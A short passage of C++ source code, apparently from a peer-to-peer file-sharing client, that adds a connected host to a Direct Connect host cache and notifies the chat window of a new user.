				HostCache.DC.Add( &m_pHost.sin_addr, htons( m_pHost.sin_port ), 0, 0, 0, GetUserCount() );
			}

			// Notify chat window
			ChatCore.OnAddUser( this, new CChatUser( *pUser ) );
		}
	}

	return TRUE;
}